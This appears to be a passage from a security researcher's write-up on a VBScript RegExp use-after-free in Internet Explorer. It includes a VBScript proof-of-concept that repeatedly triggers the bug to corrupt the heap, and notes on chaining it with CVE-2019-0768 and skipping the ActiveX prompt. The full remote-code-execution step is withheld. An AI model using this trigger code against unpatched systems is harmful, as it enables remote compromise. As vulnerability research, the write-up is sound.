Windows XP and below do not support the LFH. Though, this isn’t a problem because such systems are easy to exploit via other heap exploitation techniques (due to lack of mitigations).
LFH Allocation Order Randomization
On Windows 8 and above, a new mitigation was introduced to further complicate UAF exploitation. The LFH now no longer allocates blocks consecutively, instead the order is randomized. The allocator holds a list of free blocks, picking one at random each time an allocation is requested.
Luckily, LFH randomization is not a problem for us; I’ll explain why.
When a UAF exploit fails to re-allocate the target address, 1 of 3 things usually occurs.
the memory is left unallocated, in which case the program crashes trying to use uninitialized memory.
the memory gets re-allocated by something else, in which case the program crashes trying to use some random data.
the program performs sanity checks on the memory, failing safely if something unexpected is located there.
Remember the pointer check we’re trying to bypass? It basically validates the memory was allocated by a call to RegExpComp::Compile (i.e. contains a valid RegEx pattern). If we fail to re-allocate the same address, we won’t bypass the pointer check, thus the program won’t crash!
All we need to do is set up an exception handler, then just keep trying to allocate the new pattern at the old address. Whoever said security checks are bad for exploit developers?
'Just keep swimming...
On Error Resume Next
Set regex = new RegExp
regex.Global = False
'Re-allocate the pattern 19 times to enable LFH for this size allocation
For idx=0 To 19
regex.Pattern = pattern
call regex.Replace("", "")
Next
'Attempt to trigger the use-after-free up to 5000
For idx=0 To 4999
regex.Pattern = "aaaaa"
retval = regex.Replace("aaaaabbbbb", GetRef("lolRegex"))
'if function returns succesfully, then our use-after-free succeeded
If retval Then
MsgBox "Attempt number " & idx & " succeeded!", 48, "Great Success!!!"
Exit For
End If
Next
Function lolRegex(singleMatch, position, fullString)
'replace pattern with one of same size so it goes on same LFH
regex.Pattern = "bbbbb"
call regex.Replace("", "") 'force pattern compile
lolRegex = "c"
End Function
Running the new script, we’ll get something like this (even on Windows 10 with all heap mitigations enabled).
Now the question is, how is this helpful? To use the LFH, both the old and new patterns must be equal size. Why would replacing one RegEx pattern with another one of the same size be exploitable? Well, in this case size doesn’t matter…
I went looking for allocations made based on data contained in the pattern buffer. Next I narrowed down the allocations to those made before I replace the pattern buffer, but used afterwards. I found one.
RegExpExec::Cgrp reads a variable from the compiled pattern called “Cgrp” (group).
After looking into the compilation of the pattern, I came to understand that “Cgrp” is the number of groups in the RegEx pattern. The allocation is done prior to calling ReplaceUsingCallable(); therefore, persists throughout my reallocation of the pattern.
RegExp::ReplaceUsingCallable() makes multiple calls to a function named RegExpExec::Exec(). Exec() is responsible for performing the actual pattern matching; inside is the following code.
sets all bytes of the previously allocated group_array to 0xFF.
The memset is done based on my pattern’s Cgrp value; which, I can change. If I recompiled the pattern with one of the same size, but with more regex groups, I’d overflow “group_array”.
For example, the pattern “aaaaaa” contains 1 group, whilst “(a)(a)” contains 2 groups and is the same length. Due to the fact the memset sets the entire buffer, the size of the pattern in each group is irrelevant.
In order to perform a successful heap overflow, there are some requirements.
Firstly, RegExpExec::Exec() must be called after I replace the pattern buffer. This can be done by setting the RegExp.Global option to True.
When Global is set, RegExp::ReplaceUsingCallable will replace every instance of the given pattern. The flow is as follows.
Call RegExpExec::Exec() to see determine if there are any matches of the regex pattern in the source string.
If a pattern match is found, invoke the supplied callback.
Replace the match with the value returned by the callback.
If global is set, enter a loop performing 1 – 3, until all matches are replaced.
What I can do is set Global to True, then create a string which matches the original pattern at least twice. When the callback is called, I will replace the pattern with one of the same size, but containing more groups. Upon the second call to Exec(), a heap overflow will occur.
After some calculation, I found a single and multi-group pattern of the same internal size. My malicious pattern contains 30 groups, whilst the original contains only 1.
The finalized code will overflow the heap with invalid data, leading to a program crash. For demonstration, I’ve chained the bug with CVE-2019-0768, which allows execution of VBScript in IE11.
lolregex
Now, let’s visit the page using IE11 on a system without the March 2019 security patch! I used Windows 7 because most crashes are silent on Windows 10.
Conclusion
The exploit offers a decent out-of-bounds (OOB) write primitive, which can be targeted at either the general or low-fragmentation heap. With such a primitive, it’s possible to escalate to arbitrary read/write, thus RCE. For obvious reasons, I will not be providing any information on how to achieve a weaponized exploit.
Interestingly, the “Enable ActiveX” prompt can be bypassed. Compiling the script into a safe-for-initialization ActiveX object leads to it being run immediately, without warning. Furthermore, the exploit can be triggered in any application that hosts the IE rendering engine. It may even be possible to trigger code execution from within an Office document, without macros enabled.
Anyway, that’s all! Thank you for coming to my talk on how to write safe and secure RegEx!
Būtini slapukai įgalina svarbias svetainės funkcijas, tokias kaip saugus prisijungimas ir sutikimo nustatymų keitimas. Jie nesaugo asmeninių duomenų.
Nėra
►
Funkciniai slapukai palaiko funkcijas, tokias kaip turinio dalinimasis socialiniuose tinkluose, atsiliepimų rinkimas ir trečiųjų šalių įrankių įjungimas.
Nėra
►
Analitiniai slapukai seka lankytojų sąveikas, teikdami įžvalgas apie tokius rodiklius kaip lankytojų skaičius, atmetimo rodiklis ir srauto šaltiniai.
Nėra
►
Reklamos slapukai pateikia suasmenintas reklamas pagal jūsų ankstesnius apsilankymus ir analizuoja reklamos kampanijų efektyvumą.
Nėra
►
Neklasifikuoti slapukai yra slapukai, kuriuos šiuo metu klasifikuojame kartu su atskirų slapukų teikėjais.